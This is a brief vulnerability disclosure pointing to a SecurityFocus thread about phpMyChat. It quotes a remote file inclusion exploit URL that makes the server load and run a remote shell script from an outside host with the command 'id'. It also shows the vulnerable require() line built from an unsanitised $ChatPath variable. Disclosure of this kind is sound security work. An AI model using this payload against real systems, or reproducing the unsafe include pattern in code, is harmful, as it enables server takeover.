Link: http://www.securityfocus.com/archive/1/465741/30/0/threaded Author: k4rtal[at]gmail[dot]com Quote from the thread: "exploit : phpMyChat.php3?{ChatPath}=http://shelladresin.com/shell.txt?cmd=id" phpMyChat.php3: $ChatPath = "chat/"; require("./${ChatPath}lib/index.lib.php3");